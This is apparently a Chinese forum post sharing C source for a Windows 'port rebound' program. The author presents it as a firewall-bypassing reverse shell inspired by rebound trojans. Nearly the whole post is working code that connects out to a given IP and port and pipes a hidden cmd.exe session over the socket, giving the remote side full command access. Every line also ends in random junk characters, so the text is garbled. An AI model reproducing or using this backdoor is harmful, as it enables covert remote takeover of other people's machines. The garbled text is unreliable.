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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u^@f&BIG]:  
w1EXh  
/* ============================== -; s|  
Rebound port in Windows NT xI#9  
By wind,2006/7 Qp)v?k ]  
===============================*/ Vz~{UHH6  
#include ?8npG]L)  
#include @'#,D!U  
UdT *E: 6  
#pragma comment(lib,"wsock32.lib") %a>&5V  
g1/:Q%R,  
void OutputShell(); l%k\JY-  
SOCKET sClient; jwc)Lj}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E:UW#S%A f  
fiK6@,  
void main(int argc,char **argv) orzZ{87  
{ >,V9H$n  
WSADATA stWsaData; p|X"@kuseO  
int nRet; ?A K(|  
SOCKADDR_IN stSaiClient,stSaiServer; T,,WoPU8t  
yr)G]K[/  
if(argc != 3) DrKP%BnS  
{ |HiE@  
printf("Useage:\n\rRebound DestIP DestPort\n"); dU&a{ $ku[  
return; <Th6r.#?  
} yZ0-wI  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,?J!  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ePOG}k($/%  
1!xQ=DU"  
stSaiClient.sin_family = AF_INET; ,Xu-@br{  
stSaiClient.sin_port = htons(0); ne>pOK<vZ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Nyku4r0  
l5S aT,%  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )Kc<j!8-[  
{ $SlIr<'*"  
printf("Bind Socket Failed!\n"); Bd!bg|uO*  
return; Z^bQ^zk-  
} >6ni")Q9  
D$w6V  
stSaiServer.sin_family = AF_INET; tqz3zIQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3+)J @(a  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ? ^0:3$La  
Z)I+@2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [g7L&`f9  
{ g;H=6JeG/  
printf("Connect Error!"); ^h(ew1:  
return; x>**;#7)  
} SL Ws*aq  
OutputShell(); ak7bJ~)X=  
} C8J[Up  
{c6=<Kv  
void OutputShell() F|'>NL-=  
{ &p'Y^zL-  
char szBuff[1024]; S3q&rqarC%  
SECURITY_ATTRIBUTES stSecurityAttributes; 4`4kfiS$  
OSVERSIONINFO stOsversionInfo; Tm~" IB*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cXA i k-  
STARTUPINFO stStartupInfo; Eq%}  
char *szShell; Y@;CF  
PROCESS_INFORMATION stProcessInformation; &C `Gg<  
unsigned long lBytesRead; Gt\lFQ  
wg9t)1k{e  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D#_3^Kiawj  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4X!/hI=jq  
stSecurityAttributes.lpSecurityDescriptor = 0; 7BE>RE=)  
stSecurityAttributes.bInheritHandle = TRUE; xs{3pkTYD  
]N~2 .h  
=mO vs  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GA$V0YQX  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .T}Wdn g  
QVv#fy1"6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q 1U\D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h=W:^@G  
stStartupInfo.wShowWindow = SW_HIDE; prWk2_D;*  
stStartupInfo.hStdInput = hReadPipe; (of#(I[m7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; / kF)  
6/f7<  
GetVersionEx(&stOsversionInfo); qLO4#CKCL6  
+jAGGv^)  
switch(stOsversionInfo.dwPlatformId) fW{(lPx  
{ oI?3<M^  
case 1: S(k3 `;K  
szShell = "command.com"; ^%d\qd`   
break; OC_+("N  
default: zykT*V  
szShell = "cmd.exe"; hwPw]Ln/  
break; ~Q Oe##  
} F|IAiE  
lS"T4 5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^ sOQi6pL  
=J18eH!]  
send(sClient,szMsg,77,0); {JO^ tI  
while(1) ZJnYIK  
{ `"Jj1O@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q$a{\*[:+  
if(lBytesRead) +! ]zA4x  
{ 6]&OrS[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .6ylZ  
send(sClient,szBuff,lBytesRead,0); evya7^,F  
} 9)h"-H;5:  
else )cX*I gO  
{ Ab~3{Q]#  
lBytesRead=recv(sClient,szBuff,1024,0); 9"N~yKa`"K  
if(lBytesRead<=0) break; B~'vCuE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >f|||H}Snw  
} P9/q|>F  
} "SNn^p59k  
|'e^QpU5  
return; ^-TE([bW  
}
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